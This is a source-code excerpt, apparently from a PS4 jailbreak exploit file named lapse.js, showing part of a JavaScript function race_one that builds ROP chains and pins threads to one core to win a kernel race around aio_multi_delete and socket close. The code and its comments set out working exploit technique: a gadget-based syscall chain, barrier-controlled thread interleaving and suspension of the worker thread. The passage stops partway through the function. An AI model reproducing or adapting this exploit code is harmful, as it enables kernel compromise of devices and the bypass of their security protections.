Function race_one

g2all/700/lapse.js:591–693

(request_addr, tcp_sd, barrier, racer, sds)

//     // ...
// }
function race_one(request_addr, tcp_sd, barrier, racer, sds) {
  const sce_errs = new View4([-1, -1]);
  const thr_mask = new Word(1 << main_core);

  const thr = racer;
  thr.push_syscall("cpuset_setaffinity", CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 8, thr_mask.addr);
  thr.push_syscall("rtprio_thread", RTP_SET, 0, rtprio.addr);
  thr.push_gadget("pop rax; ret");
  thr.push_value(1);
  thr.push_get_retval();
  thr.push_call("pthread_barrier_wait", barrier.addr);
  thr.push_syscall("aio_multi_delete", request_addr, 1, sce_errs.addr_at(1));
  thr.push_call("pthread_exit", 0);

  const pthr = spawn_thread(thr);
  const thr_tid = pthr.read32(0);

  // pthread barrier implementation:
  //
  // given a barrier that needs N threads for it to be unlocked, a thread
  // will sleep if it waits on the barrier and N - 1 threads havent't arrived
  // before
  //
  // if there were already N - 1 threads then that thread (last waiter) won't
  // sleep and it will send out a wake-up call to the waiting threads
  //
  // since the ps4's cores only have 1 hardware thread each, we can pin 2
  // threads on the same core and control the interleaving of their
  // executions via controlled context switches

  // wait for the worker to enter the barrier and sleep
  while (thr.retval_int === 0) {
    sys_void("sched_yield");
  }

  // enter the barrier as the last waiter
  chain.push_call("pthread_barrier_wait", barrier.addr);
  // yield and hope the scheduler runs the worker next. the worker will then
  // sleep at soclose() and hopefully we run next
  chain.push_syscall("sched_yield");
  // if we get here and the worker hasn't been reran then we can delay the
  // worker's execution of soclose() indefinitely
  chain.push_syscall("thr_suspend_ucontext", thr_tid);
  chain.push_get_retval();
  chain.push_get_errno();
  chain.push_end();
  chain.run();
  chain.reset();

  const main_res = chain.retval_int;
  log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`);

  if (main_res === -1) {
    call_nze("pthread_join", pthr, 0);
    log();
    return null;
  }